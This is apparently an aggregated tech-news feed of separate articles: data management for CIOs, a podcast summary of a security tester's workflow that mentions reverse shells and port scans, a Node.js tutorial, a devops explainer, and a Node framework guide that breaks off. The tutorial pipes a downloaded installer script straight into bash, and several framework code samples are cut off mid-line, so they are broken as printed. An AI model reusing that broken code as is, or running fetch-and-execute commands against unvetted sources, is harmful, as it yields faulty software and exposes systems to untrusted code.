Storage: We ensure the data is available to the right people at the right time. This involves storing data in databases or data lakes, implementing security and access controls, and managing metadata (ensuring the data is clearly identifiable).
Utilization: This is the most critical step. The purpose of data is not merely analysis but driving action. We generate value from the data through visualization (dashboards), analysis (statistical processing, BI, AutoML, AI) and integration into business operations (automation and decision support).
Disposal: We properly dispose of data that is no longer needed. Simply holding data can itself pose risks, such as managing retention periods, complying with laws and governance requirements, and mitigating security risks. That is why the principle of not holding data that is not used is so important.

Data management is not a one-time effort; it is an ongoing initiative that requires continuous maintenance and improvement.

The CIO must embed data management as a system within the organization and continue to implement it until it becomes firmly established.

Data management is not just the IT department’s job

Another important point is that data management is not just the IT department’s job.

Data is fundamentally generated within day-to-day operations on the front lines. Therefore:

Who determines the meaning and definition of data
How should input rules be standardized?
How do we ensure data quality?

are, in essence, operational issues, business issues and management issues.

The latest Digital Skills Standard ver. 2.0, published by the Ministry of Economy, Trade and Industry in April 2026, defines the following three roles within the data management category:

Data steward: Based on business domain knowledge, this role is responsible for operations aimed at ensuring data quality, reliability and security, as well as for promoting the adoption and establishment of data management within business divisions and frontline organizations, and for fostering data utilization. In short, they are the data quality manager and data utilization promoter.
Data engineer: This role involves understanding the current state of data and supporting the organization’s continuous data utilization through data preparation and preprocessing in processes such as collection, integration, processing and provision, as well as the design and implementation of data pipelines. In essence, they are the implementers and operators who drive data.
Data architect: This role involves taking a bird’s-eye view of the data structure, flow and utilization methods across the entire organization and business. By designing and continuously reviewing data architecture that encompasses the entire data lifecycle in alignment with business strategy, they ensure the successful integration of company-wide data utilization and governance—essentially serving as the overall designer of data.

The CIO is not merely responsible for establishing data storage and analysis infrastructure; they are also tasked with appropriately assigning personnel to these three roles within the company and establishing cross-departmental, company-wide tools and rules to connect data with management, business operations and daily tasks.

Ultimately, the success of data utilization depends on organizational culture

On the other hand, no matter how much progress is made in staffing, infrastructure, tools and rulemaking, data will not be utilized unless there is an organizational culture that actively drives management, business and operations based on data.

The purpose of data entry is not understood
Data is optimized solely for the department’s own operations
Decision-making based on data is not valued

In such a situation, no matter how well the systems are set up, they will become mere formalities.

In contrast, in organizations where data utilization is advanced:

Discussions are based on data
Formulate hypotheses and verify them with data
And continuously improve based on data

These actions occur naturally.

In other words, the essence of data management ultimately lies in creating an organizational culture that assumes the effective use of data.

Data management cannot be achieved overnight. That is precisely why it is important to start small and build on your successes.

Organize data for specific tasks and achieve results through the use of AI
Rolling out successful practices
Gradually Expand the Scope

By repeating this cycle, the importance of data will permeate the entire organization.

The role expected of a CIO in the AI era

In the AI era, the role expected of a CIO has changed significantly.

Traditionally:

Ensuring the stable operation of systems
And optimizing costs

However, moving forward:

We will view data as an asset and maximize its value
Developing the data infrastructure, tools and rules that underpin AI adoption, and advancing personnel allocation and development
And fostering an organizational culture that embraces data utilization —roles that are more directly linked to business management

In other words, the CIO must evolve into the person responsible for creating value from data.

Data is the source of competitive advantage

In the coming era, the use of AI will be a given. What will set companies apart is not whether they use AI, but what data they possess.

Data is the accumulation of a company’s past strengths and the source of future value creation. And its quality is determined by daily operations and the nature of the organization.

AI grows by being fed good data
And companies grow through that AI

Taking this simple principle as our starting point, we must place data management at the core of our business strategy. Isn’t that the shortest route to sustainable growth in the AI era?

CIOs are called upon to lead the way in making this a reality.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

HPR4682: Behind the Keyboard: A Cybersecurity Operator’s Real-World Workflow

Tue, 14 Jul 2026 02:03:31 +0200

This show has been flagged as Explicit by the host.

SUMMARY

The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.

ONE-SENTENCE TAKEAWAY

Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.

TOOLS

Talon Voice – Open-source voice recognition software enabling hands-free computer control and command execution.
Obsidian – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.
AutoHotkey – Windows scripting utility for creating custom macros and remapping keyboard inputs.
Chrome Debug Commands – Browser developer tools allowing direct inspection of extensions, cookies, and storage.
Whisper Diarization – Audio processing script that separates speaker tracks and converts recordings to searchable text.
Hyper-V / WSL – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.
OpenConnect / OpenVPN – Command-line tunneling clients used for establishing secure, split-tunnel network connections.
Jamboree Framework – Portable PowerShell environment that dynamically provisions development tools without altering system paths.
MOBA Portable – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.
Nmap – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.

00:00:00 Ergonomic Workspace Configuration

Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.

Monitor Positioning – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.
Split Keyboard Layout – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.
Postural Adaptation – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.

01:45:00 Voice Control & Note Synchronization

Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.

Talon Voice Integration – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.
Obsidian Migration – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.
Note Categorization – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.

03:50:00 Browser Extension Management & Security Isolation

Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.

Jailed User Accounts – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.
Shared Folder Synchronization – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.
Extension Audit Process – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.

06:15:00 Training Optimization & Audio Processing

Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.

Global Speed Control – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.
Whisper Diarization Pipeline – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.
Download Management – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.

10:40:00 Virtualization & Network Tunneling Protocols

Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.

Enhanced Session Mode – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.
Split Tunneling Mechanics – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.
Certificate Verification – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.

15:30:00 Macro Automation & Input Remapping

Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.

Caps Lock Repurposing – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.
Physical Typing Macros – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.
Administrator Execution Requirement – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.

20:15:00 Portable Development Environments & Python Management

Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.

Jamboree Framework – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.
NuGet Package Filtering – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.
Binary Verification Process – Checks extracted archives for bundled pip.exe or pip3.exe executables, eliminating manual module installation steps during rapid deployments.

28:40:00 AI-Assisted Scripting & Debugging Workflows

Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.

Vibe Coding Approach – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.
Parameter Standardization – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.
Temporary Storage Management – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.

35:10:00 Terminal Emulation & Advanced Tunneling Strategies

Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.

MOBA Portable Configuration – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.
Reverse Shell Routing – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.
Proxy Chain Integration – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.

42:30:00 Final Connectivity Testing & Engagement Wrap-Up

Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.

Nmap Verification – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.
Connection Refusal Documentation – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.
Workflow Reflection – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.

Provide feedback on this episode.

Node.js tutorial: Get started with Node

Mon, 13 Jul 2026 17:04:39 +0200

Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.

Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely Deno and Bun, but Node remains the standard for server-side JavaScript.

Also see: 10 JavaScript concepts you need to succeed with Node.

Getting started with Node

If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.

We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous Express server, to create more feature-rich and flexible Node.js servers. Let’s get started!

Installing Node and NPM

There are a few ways to install Node, including the installer that Node itself provides, but the recommended way is with a version manager. The most common version manager is NVM. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called nvm-windows.)

NVM can be installed with an installer or using a CLI. In the following example, we use curl:


$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash

Once you have NVM installed, installing the most recent version of Node is simple:


$ nvm install latest

The install latest command makes the latest version available. Mine is Node 24.9.0, so I activate it with:

$ nvm use 24.9.0

Anytime you need to install another version of Node, you can use nvm install and nvm use to switch between them.

You should now see Node available at your command prompt:


$ node -v

v24.9.0

When you install Node this way, the Node package manager (NPM) is also installed:

$ npm -v

11.6.0

Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.

A simple web server in Node

To start simply, we can use an example from the Node homepage. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as example.js:


const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

Open a shell in the directory where you saved the file, and run the file from your command line:


$ node example.js

Server running at http://127.0.0.1:3000/

You can now go to the browser and check it out at 127.0.0:3000, and you should see a simple greeting. Back at the terminal, press Control-C to stop the running server.

Before we go further, let’s pull apart the code.

Creating a simple HTTP server with Node

We start with the command:

const http = require(‘http’);

This is how you include a module in your code, in this case, the standard http module. (The http module ships with Node, so you don’t have to add it as a dependency.) This module provides the createServer and listen functions we’ll use later on.

You might have noted that this example used a CommonJS import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of ES Modules (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:

import http from 'http';

After we import the http module, we define a couple of values we need (hostname and port):

const hostname = '127.0.0.1';

const port = 3000;

Next, we create the server:

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});

The creatServer command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (req) and response (res) objects needed to handle HTTP requests. The req argument contains the incoming HTTP request, which in this case is ignored. The res.end method sets the response data to ‘Hello InfoWorld\n’ and tells the server that it is done creating the response.

Next, we have:

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

The server.listen function accepts three arguments. The first two are the port and hostname, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).

Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.

Node.js runs on an event loop, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.

A multi-process web server with Node

Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are a few ways to make a Node application use multiple threads for true concurrency. One of the simplest is to use the PM2 project, which lets you run the same Node application in many processes.

By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.

You can install PM2 globally like so:

$ npm install -g pm2

For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:

res.end(`Hello, InfoWorld! Handled by ${process.pid}`);

The process.pid field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:

$ pm2 start example.js -i max

That should launch several instances of the same program, as shown here:

Matthew Tyson

Then, if you open multiple windows, you can see the unique ID of each instance:

Matthew Tyson

An Express web server with Node

For our final example, we’ll look at setting up an Express web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally millions of libraries available. Knowing how to use it is essential for working with Node.

NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:

$ npm install express

Node should respond with something like: added 68 packages in 5s.

You will notice several directories have been added to a /node_modules directory. Those are all the dependencies needed for Express. You usually don’t have to interact with node_modules yourself, but it’s good to know that’s where things are saved.

Now look at the package.json file, which will have something like this in it:

{
  "dependencies": {
	"express": "^5.1.0"
  }
}

This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).

Setting up the Express server in Node

Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.

Since we’ve already installed Express, we can jump right into defining a server. Open the example.js file we used previously and replace the contents with this simple Express server:

import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) => {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () => {
  console.log(`Express server at http://localhost:${port}`);
});

This program does the same thing as our earlier http module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (‘/’), with the handler function.

If we wanted to add another path, it could look like this:

app.get('/about', (req, res) => {
  res.send('This is the About page.');
});

Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:

app.get('/api/user', (req, res) => {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});

That’s a simple example, but it gives you a taste of working with Express in Node.

Conclusion

In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.

Whenever you need a package to do something in Node, you will more than likely find it available on NPM. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the npms.io tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.

What is devops? Bringing dev and ops together to build better software

Mon, 13 Jul 2026 17:04:38 +0200

A portmanteau of “development” and “operations,” devops emerged as a way of bringing together two previously separate groups responsible for the building and deploying of software.

In the old world, developers (devs) typically wrote code before throwing it over to the system administrators (operations, or ops) to deploy and integrate that code. But as the industry shifted towards agile development and cloud-native computing, many organizations reoriented around modern, cloud-native practices in the pursuit of faster, better releases.

This required a new way to perform these key functions in a more streamlined, efficient, and cohesive way, one where the old frustrations of disconnected dev and ops functions would be eliminated. With two groups working together, developers can rapidly roll out small code enhancements via continuous integration and delivery rather than spending years on “big bang” product releases.

Devops was born at cloud-native companies like Facebook, Netflix, Spotify, and Amazon; but it’s become one of the defining technology industry trends of the past decade, primarily because it bridges so many of the changes that have shaped modern software development.

As agile development and cloud-native computing have become ubiquitous, devops has enabled the entire industry to speed up its software development cycles. Thus, devops has now thoroughly infiltrated the enterprise, especially in organizations that rely on software to run their business, such as banks, airlines, and retailers. And it’s spawned a host of other “ops” practices, some of which we’ll touch on here.[JF1]

Devops practices

Devops requires a shift in mindset from both sides of the dev and ops divide. Development teams should focus on learning and adopting agile processes, standardizing platforms, and helping drive operational efficiencies. Operations teams must now focus on improving stability and velocity, while also reducing costs by working hand in hand with the developer team.

Broadly speaking, these teams need to all speak a common language and there needs to be a shared goal and understanding of each other’s key skills for devops to thrive.

More specifically, engineers Damon Edwards and John Willis created the CALMS model to bring together what are commonly understood to be the key principles of devops:

Culture: One that embraces agile methodologies and is open to change, constant improvement, and accountability for the end-to-end quality of software.
Automation: Automating away toil is a key goal for any devops team.
Lean: Ensuring the smooth flow of software through key steps as quickly as possible.
Measurement: You can’t improve what you don’t measure. Devops pushes for a culture of constant measurement and feedback that can be used to improve and pivot as required, on the fly.
Sharing: Knowledge sharing across an organization is a key tenet of devops.

“Who could go back to the old way of trying to figure out how to get your laptop environment looking the same as the production environment? All these things make it so clear that there’s a better way to work. I think it’s very tough to turn back once you’ve done things like continuous integration, like continuous delivery. Once you’ve experienced it, it’s really tough to go back to the old way of doing things,” Kim told InfoWorld.

What is a devops engineer?

Naturally, the emergence of devops has spawned a whole new set of job titles, most prominent of which is the catch-all devops engineer.

Generally speaking, this role is the natural evolution of the system administrator — but in a world where developers and ops work in close tandem to deliver better software. This person should have a blend of programming and system administrator skills so that he or she can effectively bridge those two sides of the team.

That bridging of the two sides requires strong social skills more than technical. As Kim put it, “one of the most important skills, abilities, traits needed in these pioneering rebellions — using devops to overthrow the ancient powerful order, who are very happy to do things the way they have for 30 to 40 years — are the cross-functional skills to be able to reach across the table to their business counterparts and help solve problems.”

This person, or team of people, will also have to be a born optimizer, tasked with continually improving the speed and quality of software delivery from the team, be that through better practices, removing bottlenecks, or applying automation to smooth out software delivery.

The good news is that these skills are valuable to the enterprise. Salaries for this set of job titles have risen steadily over the years, with 95% of devops practitioners making more than $75,000 a year in salary in 2020 in the United States. In Europe and the UK, where salaries are lower across the board, 71% made more than $50,000 a year in 2020, up from 67% in 2019.

Key devops tools

While devops is at its heart a cultural shift, a set of tools has emerged to help organizations adopt devops practices.

This stack typically includes infrastructure as code, configuration management, collaboration, version control, continuous integration and delivery (CI/CD), deployment automation, testing, and monitoring tools.

Here are some of the tools/categories that are increasingly relevant in 2025, and what is changing:

CI/CD and delivery automation: Traditional tools like Jenkins remain in many stacks, but newer orchestration tools and CLI-driven or GitOps-centric platforms are growing in importance (e.g. ArgoCD, Flux, Tekton). Also, platforms that integrate more tightly with monitoring, secrets management, drift detection, and policy enforcement are gaining traction.
Security, compliance, and devsecops tooling: Security tools are increasingly integrated into devops pipelines. Expect to see more use of static analysis (SAST), dynamic testing (DAST), dependency and supply chain scanning (SCA), secret management, and policy as code. The push is toward embedding security earlier and bridging gaps between dev, security, and machine learning teams. (InfoWorld:)
AI and automation augmentation: AI-assisted tools are increasingly part of tooling stacks: auto-suggestions in CI/CD, anomaly detection, predictive scaling, intelligent test suite selection, and more. The hope is that these tools will reduce manual interventions and improve reliability. Tools that are “AI ready”—that is, they integrate well with AI or have mature built-in automation or assistance—increasingly stand out from the pack.

Devops challenges

Even as devops becomes more widely adopted, there remain real obstacles that can slow progress or limit impact. One major challenge is the persistent skills gap. The modern devops engineer (or team) is expected to master not just source control, CI/CD, and scripting, but also cloud architecture, infrastructure as code, security best practices, observability, and strong cross-team communication. In many organizations these capabilities are uneven: some teams excel, others lag behind. A 2024 survey showed that while 83% of developers report participating in devops activities, using multiple CI/CD tools was correlated with worse performance — a sign that complexity without deep expertise can backfire.

Toolchain fragmentation and complexity is a related issue. Devops toolchains have sprouted into a sometimes bewildering array of packages and techniques to master: version control, CI build/test, security scanning, artifact management, monitoring, observability, deployment, secret management, and more.

The more tools you have, the more difficult it becomes to integrate them cleanly, manage their versions, ensure compatibility, and avoid duplicated effort. Organizations often get stuck with “tool sprawl” — tools chosen by different teams, legacy systems, or overlapping functionalities — which introduce friction, maintenance burden, and sometimes vulnerabilities.

Finally, although devops has spread far and wide, there is still cultural resistance and alignment. Devops isn’t just about tools and processes; it’s about collaboration, shared responsibility, and continuous feedback. Teams rooted in traditional silos (dev vs ops, or security separate) may resist changes to roles and workflows. Leadership support, communication of shared goals, trust, and allowance for continuous learning are all necessary.

Many CIOs focus too much on tools or implementation first, rather than organizational culture and behaviors; but without addressing culture, even the best tools or processes may not yield the hoped-for velocity, quality, or reliability. Organizations that succeed here tend to have proactive strategies: dedicated training programs, mentorship, internal “guilds,” pairing junior and senior engineers, and making sure leadership supports ongoing learning rather than one-off bootcamps.

Why do devops?

Whoever you ask will tell you that devops is a major culture shift for organizations, so why go through that pain at all?

Devops aims to combine the formerly conflicting aims of developers and system administrators. Under its principles, all software development aims to meet business demands, add functionality, and improve the usability of applications while also ensuring those applications are stable, secure, and reliable. Done right, this improves the velocity and quality of your output, while also improving the lives of those working on these outcomes.

Does devops save money — or add cost?

Devops teams are recognizing that speed and agility are only part of success — unchecked cloud bills and waste undermine long-term sustainability. Waste in devops often comes in the form of “devops debt”— idle cloud capacity, dead code, or false-positive security alerts—which was called a “hidden tax on innovation” in recent Java-environment studies.

Embedding finops practices can help fight these costs. Teams should shift left on cost: estimating costs when spinning up new environments, resizing instances, and scaling down unused resources before they become runaway expenses.

How to start with devops

There are lots of resources for help getting started with devops, including Kim’s own Devops Handbook, or you can enlist the help of external consultants. But you have to be methodical and focus on your people more than on the tools and technology you will eventually use if you want to ensure lasting buy-in across the business.

A proven route to achieving this is a “land and expand” strategy, where a small group starts by mapping key value streams and identifying a single product team or workload for trialing devops practices. If this team is successful in proving the value of the shift, you will likely start to get interest from other teams and from senior leadership.

If you are at the start of your devops journey, however, make sure you are prepared for the disruption a change like this can have on your organization, and keep your eye on the prize of building better, faster, stronger software.

The complete guide to Node.js frameworks

Mon, 13 Jul 2026 17:04:36 +0200

Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.

This article is a quick tour of the most popular web frameworks for server development on Node.js. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.

Minimalist web frameworks

When it comes to Node web frameworks, minimalist doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.

Express.js

At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.

Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:

import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) => {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id  {
  console.log(`Server running at http://localhost:${port}`);
});

You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.

If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of middleware plugins to help with essential functions like security.

Koa

Koa was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses async/await functions for middleware rather than chaining with next() calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.

Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:

router.get('/dogs/:id', (ctx) => {
  const id = parseInt(ctx.params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});

The only real difference is the combined context object.

Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:

const logger = async (ctx, next) => {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);

Fastify

Fastify lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:

const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) => {
  const id = request.params.id;

  if (id >= 0 && id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});

From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.

Hono

Hono emphasizes simplicity. You can define a server and endpoint with as little as:

const app = new Hono()
app.get('/', (c) => c.text('Hello, Infoworld!'))

And here’s how our dog breed example looks:

app.get('/dogs/:id', (c) => {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id < dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});

As you can see, Hono provides a unified context object, similar to Koa.

Nitro.js

Nitro is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.

Also see: Intro to Nitro: The server engine built for modern JavaScript.

Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:

/api/dogs/:id

The handler might look like this:

export default defineEventHandler((event) => {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.

Batteries-included frameworks

Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.

Nest.js

Nest is a progressive framework built with TypeScript from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.

Also see: Intro to Nest.js: Server-side JavaScript development on Node.

Here is an example of injecting a dog finder provider into a controller:

// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id >= 0 && id < this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}

This style is typical of dependency injection frameworks like Angular, as well as Spring. It allows you to declare components as injectable, then consume them anywhere you need them.

In Nest, we’d just add these as modules to make them live.

Adonis.js

Like Nest, Adonis provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.

Routes in Adonis are very simple:

Route.get('/dogs/:id', [DogsController, 'show'])

In this case, DogsController would be the handler for the route, and might look something like:

import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
